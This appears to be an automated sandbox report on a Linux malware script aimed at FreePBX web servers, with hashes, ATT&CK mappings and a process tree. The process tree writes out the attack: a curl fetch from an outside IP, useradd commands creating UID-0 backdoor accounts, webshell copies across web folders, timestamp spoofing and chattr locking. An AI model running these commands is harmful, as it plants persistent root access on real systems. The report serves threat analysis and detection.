6765b5e63b1ceb95d5615077af9ddcefd87d72be6ebb0c12c7dbe7f287c1981e

Analysis

max time kernel
132s
max time network
66s
platform
debian-9_armhf
resource
debian9-armhf-20260126-en
resource tags

arch:armhfimage:debian9-armhf-20260126-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
16/04/2026, 18:44

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
k.php.sh
Size 44KB
Sample260416-xdsblact81
SHA256 6765b5e63b1ceb95d5615077af9ddcefd87d72be6ebb0c12c7dbe7f287c1981e
MD5 c3f8cec6f7bbc90862830228aac0b7ca
SHA1 cd1515f01f0f07e716a544d499b1e8b525db3e00
SHA512 adcb9e7760e3d20f785f34ae484dcad7a82a90f05944efc3b8918fa53f496ad51ae34cf66063467a2fb2de328b1772b1a07c890069318dab07ac65a731821616
SSDEEP 768:bq+E9GKYpr9GKYp82fkR4nnA9GKYpr9GKYp82fkR4nnx:bq+pco
TLSH
T147137D6956857C24AE99883B1C7E2F0CB9A983E1310451DDBFCB3CF58C49A9CD21971D
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

antivm credential_access defense_evasion discovery persistence

Malware Config

Signatures

Modifies password files for system users/ groups 1 TTPs 8 IoCs

Modifies files storing password hashes of existing users/ groups, likely to grant additional privileges.

persistence credential_access defense_evasion

Pluggable Authentication Modules

T1556.003

description	ioc	Process
File opened for modification	/etc/passwd	useradd
File opened for modification	/etc/group	useradd
File opened for modification	/etc/gshadow	useradd
File opened for modification	/etc/shadow	useradd
File opened for modification	/etc/passwd	useradd
File opened for modification	/etc/group	useradd
File opened for modification	/etc/gshadow	useradd
File opened for modification	/etc/shadow	useradd

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
826	chmod

OS Credential Dumping 1 TTPs 2 IoCs

Adversaries may attempt to dump credentials to use it in password cracking.

credential_access

/etc/passwd and /etc/shadow

T1003.008

description	ioc	Process
File opened for reading	/etc/shadow	useradd
File opened for reading	/etc/shadow	useradd

Adds a user to the system 4 IoCs

pid	Process
803	useradd
807	useradd
785	useradd
793	useradd

Deobfuscate/Decode Files or Information 1 TTPs 7 IoCs

Adversaries may deobfuscate or decode files or information to evade detection mechanisms.

defense_evasion

Deobfuscate/Decode Files or Information

T1140

pid	Process
842	base64
847	base64
783	base64
791	base64
801	base64
805	base64
832	base64

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 34 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/sys/kernel/ngroups_max	useradd
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	mv
File opened for reading	/proc/filesystems	useradd
File opened for reading	/proc/sys/kernel/ngroups_max	useradd
File opened for reading	/proc/filesystems	useradd
File opened for reading	/proc/sys/kernel/ngroups_max	useradd
File opened for reading	/proc/filesystems	useradd
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/sys/kernel/ngroups_max	useradd
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	useradd
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	mv

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/test.sh	k.php.sh

/tmp/k.php.sh
/tmp/k.php.sh
1⤵
- Writes file to tmp directory
PID:648
- /bin/bash
  bash
  2⤵
  PID:654
- /usr/bin/curl
  curl http://45.95.147.178/x -ks
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:653
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/h.php
  2⤵
  - Reads runtime system information
  PID:781
- /bin/bash
  bash
  2⤵
  PID:784
- - /usr/sbin/useradd
    useradd -s /bin/bash -ou 0 -g 0 -p ueteGJYCHeMTk newfpbx
    3⤵
    - Modifies password files for system users/ groups
    - OS Credential Dumping
    - Adds a user to the system
    - Reads runtime system information
    PID:785
  - - /usr/sbin/nscd
      nscd -i passwd
      4⤵
      PID:786
  - - /usr/sbin/nscd
      nscd -i group
      4⤵
      PID:787
  - - /usr/sbin/nscd
      nscd -i passwd
      4⤵
      PID:788
  - - /usr/sbin/nscd
      nscd -i group
      4⤵
      PID:789
- /usr/bin/base64
  base64 -d
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:783
- /usr/bin/base64
  base64 -d
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:791
- /bin/bash
  bash
  2⤵
  PID:792
- - /usr/sbin/useradd
    useradd -s /bin/bash -ou 0 -g 0 -p ueteGJYCHeMTk xhimax
    3⤵
    - Modifies password files for system users/ groups
    - OS Credential Dumping
    - Adds a user to the system
    - Reads runtime system information
    PID:793
  - - /usr/sbin/nscd
      nscd -i passwd
      4⤵
      PID:794
  - - /usr/sbin/nscd
      nscd -i group
      4⤵
      PID:795
  - - /usr/sbin/nscd
      nscd -i passwd
      4⤵
      PID:796
  - - /usr/sbin/nscd
      nscd -i group
      4⤵
      PID:797
- /usr/bin/base64
  base64 -d
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:801
- /bin/bash
  bash
  2⤵
  PID:802
- - /usr/sbin/useradd
    useradd -s /bin/bash -ou 0 -g 0 -p ueteGJYCHeMTk newfpbx
    3⤵
    - Adds a user to the system
    - Reads runtime system information
    PID:803
- /usr/bin/base64
  base64 -d
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:805
- /bin/bash
  bash
  2⤵
  PID:806
- - /usr/sbin/useradd
    useradd -s /bin/bash -ou 0 -g 0 -p ueteGJYCHeMTk xhimax
    3⤵
    - Adds a user to the system
    - Reads runtime system information
    PID:807
- /bin/mkdir
  mkdir -p /var/www/html/rest_phones/
  2⤵
  - Reads runtime system information
  PID:808
- /bin/mkdir
  mkdir -p /var/www/html/admin/modules/h/
  2⤵
  - Reads runtime system information
  PID:809
- /bin/mkdir
  mkdir -p /var/www/html/admin/modules/fpbxphones/
  2⤵
  - Reads runtime system information
  PID:810
- /bin/mkdir
  mkdir -p /var/www/html/admin/modules/phones/
  2⤵
  - Reads runtime system information
  PID:811
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/h.php
  2⤵
  - Reads runtime system information
  PID:812
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/rest_phones/ajax.php
  2⤵
  - Reads runtime system information
  PID:813
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/h/ajax.php
  2⤵
  - Reads runtime system information
  PID:814
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/fpbxphones/ajax.php
  2⤵
  - Reads runtime system information
  PID:815
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/phones/ajax.php
  2⤵
  - Reads runtime system information
  PID:816
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/h/config.php
  2⤵
  - Reads runtime system information
  PID:817
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/fpbxphones/config.php
  2⤵
  - Reads runtime system information
  PID:818
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/phones/config.php
  2⤵
  - Reads runtime system information
  PID:819
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/h/index.php
  2⤵
  - Reads runtime system information
  PID:820
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/fpbxphones/index.php
  2⤵
  - Reads runtime system information
  PID:821
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/phones/index.php
  2⤵
  - Reads runtime system information
  PID:822
- /usr/bin/touch
  touch /var/www/html/admin/views/ajax.php -r /var/www/html/admin/views/footer.php
  2⤵
  PID:823
- /bin/chmod
  chmod +x /var/www/html/admin/views/ajax.php
  2⤵
  - File and Directory Permissions Modification
  PID:826
- /usr/bin/chattr
  chattr +i /var/www/html/admin/views/ajax.php
  2⤵
  PID:827
- /usr/bin/chattr
  chattr +a /var/www/html/admin/views/ajax.php
  2⤵
  PID:828
- /usr/bin/chattr
  chattr +i /var/www/html/h.php
  2⤵
  PID:829
- /usr/bin/chattr
  chattr +a /var/www/html/h.php
  2⤵
  PID:830
- /usr/bin/base64
  base64 -d
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:832
- /bin/bash
  bash /tmp/test.sh
  2⤵
  PID:833
- - /bin/ls
    ls -la
    3⤵
    - Reads runtime system information
    PID:836
- - /bin/cat
    cat /etc/passwd
    3⤵
    PID:837
- - /bin/ls
    ls -ls /home
    3⤵
    - Reads runtime system information
    PID:838
- - /bin/mkdir
    mkdir -p /var/www/html/admin/modules/freepbx_ha/
    3⤵
    - Reads runtime system information
    PID:839
- - /bin/mv
    mv /var/www/html/admin/modules/freepbx_ha/license.php /var/www/html/admin/modules/freepbx_ha/license
    3⤵
    - Reads runtime system information
    PID:840
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:842
- - /bin/rm
    rm -f /var/www/html/admin/modules/freepbx_ha/license.php
    3⤵
    PID:843
- - /bin/mv
    mv /var/www/html/admin/modules/freepbx_ha/license /var/www/html/admin/modules/freepbx_ha/license.php
    3⤵
    - Reads runtime system information
    PID:844
- - /bin/ls
    ls -la
    3⤵
    - Reads runtime system information
    PID:845
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:847
- - /bin/ls
    ls -la
    3⤵
    - Reads runtime system information
    PID:848
- - /bin/cat
    cat /etc/passwd
    3⤵
    PID:849
- - /bin/ls
    ls -ls /home
    3⤵
    - Reads runtime system information
    PID:850
- /bin/rm
  rm -rf /tmp/test.sh
  2⤵
  PID:851
- /bin/bash
  bash /var/spool/asterisk/tmp/test.sh
  2⤵
  PID:854
- /bin/rm
  rm -rf /var/spool/asterisk/tmp/test.sh
  2⤵
  PID:855

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Modify Authentication Process

T1556

Pluggable Authentication Modules

T1556.003

Privilege Escalation

Defense Evasion

Deobfuscate/Decode Files or Information

T1140

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Modify Authentication Process

T1556

Pluggable Authentication Modules

T1556.003

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Modify Authentication Process

T1556

Pluggable Authentication Modules

T1556.003

OS Credential Dumping

T1003

/etc/passwd and /etc/shadow

T1003.008

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

passwd+

Path /etc/passwd+
Size 1KB
SHA256 7804a9bf801c95d7fc06aa3f9fc86d79c830ab728773e47c97039ae10503e411
MD5 402c4c78cd05ab84e54fd6c3afcecd4a
SHA1 e4efe63dfbf9a214ffac9960704408ab47632626
SHA512 6885ace9fe605c9bd8ff126682c954bc09f786b52d8b96556426fde1be8882e8cd86fe3b6ab2cee3bed26e1fa1e28f41494351e7a096297187c651760a3ae6f6
TLSH
T111314920032990BC9CC1E85A111F7FD414EC78D14A79FB2DDC7BA144EC9BB6C27648B4
MD5 SHA1 SHA512 TLSH

Submit Download

passwd+

Path /etc/passwd+
Size 1KB
SHA256 1a9fa1774e7cef8530dada15004b2ca577ec490967c73215576c462845d0b3dc
MD5 796251e44d89beefde52524c5fdff5c3
SHA1 4e8ca04b0aa8476e9bb7b491527461b52feb7393
SHA512 f05fd9f7551b736a8c8729bad8b0bf177818a41449393f35a99496aa7873b580387d5605dac00f61e9294acda6eddfb54bc4ad942418af57fcdfa406c9238899
TLSH
T1D3315A10032990BC9DC1E85A111F7FD414EC78E14A79FB2DD87BA140EC8BB6C27648B4
MD5 SHA1 SHA512 TLSH

Submit Download

shadow+

Path /etc/shadow+
Size 949B
SHA256 ae749c9ef9dd72cb77222de3ed2da3a1a1f4c8bdc8248202755c7acd9da55db7
MD5 0799ecf43d58eb774e0719faac1c2f99
SHA1 e7b98e037bf5163dfffbfe1f1b15f939cd564013
SHA512 c9880e6623800bf4807f10e48a7d09cefa6f2ce849988468f44f21382c690712db4236a52593af936772d4626a11beaac80eec9ebcf7eca1844e56d9607b90e6
TLSH
T135117380633CFC5843D650DD659206D9D7EF6C750274C58FC86689734EB48E61B19CB7
MD5 SHA1 SHA512 TLSH

Submit Download

shadow+

Path /etc/shadow+
Size 909B
SHA256 37724cd7d7c16ad898a4b58147bd2c6c6761b192921a38f6d9c77d23c6a1bf06
MD5 12d1e7e39e4c35bbed6efb954473d118
SHA1 eb47b7a465ef8c2c54754eb18a4d03edf06c194f
SHA512 341d2e36098cc66ef3870a0e765942830700fab4da7224af307fa072e9c1def1deb35d29a2af25753b08cf331b87ec1484fa9465c120e2bcada8579c742b5172
TLSH
T1FC117080633CFC5843E550DD619206D9D6EB6C3502B8C18FC82689734EB48E61719CB6
MD5 SHA1 SHA512 TLSH

Submit Download

subuid+

Path /etc/subuid+
Size 59B
SHA256 da8f26f0a2ae8764c3e20dc22bc65cca4e3484540596ef7ceaafac71c26abd7c
MD5 5c9e3004d1697716b1cb75f242c2beea
SHA1 5f0a26471d327b6e2fe3fb5e495b6b193da2e7f2
SHA512 e6fb56cb30f70aa40b4a8d328240748c45e8810f88c606b4573f30cad9db820dc7d0ecc8d7cc784fe386f58f9095adde0131c605bd1a5417e887ca0b81d406ff
TLSH
T1CCA002000217A1C0C1D35504440D93AD312175D3D4C0B868C254E55606B05714450251
MD5 SHA1 SHA512 TLSH

Submit Download

subuid+

Path /etc/subuid+
Size 39B
SHA256 9316f27c6431ca1472e0bbdc728ecd20cb7eab44fd03b2a04f6d643e99a24e89
MD5 d706ba86b3fd8589ecb5aa198e1e3cbf
SHA1 12fc273031b205c1527045d5c923d657378802f5
SHA512 ddbf918aaaa0b2914f7a39b6d9f6824d99232bc53491cdf931bc683ae54400b05a7eaa2667c752279e9f45fbd30279ac596acbbbc523abad69d21c156f58b1d0
MD5 SHA1 SHA512

Submit Download

test.sh

Path /tmp/test.sh
Size 12KB
SHA256 20d80d9403f12e730915bf419cdd8f65d1ee09ebfe5f2f382f2d8aa0511ea4ab
MD5 8f7541228c408eb56be12b0e084f80ef
SHA1 7075c8d6693cfaa96ecb5b8bf1685100f89ed753
SHA512 3cb80a5b751c5d29216af3363315845409bfdcad53fa21d24bfe8ed6fdabc28065223dfbc84e23ff66cb0cb3b22f9ae11de0ca240905324d76a8cdc4231d898d
SSDEEP 384:zro/A8C1cJlJoro/A8C1cJlJqro/A8C1cJlJrrA:eJlJLJnrA
TLSH
T15342D783466F6175A2093FEB58FC6F9C7BE68B4E34E2282525163DA8018DD0FD4B4A5C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads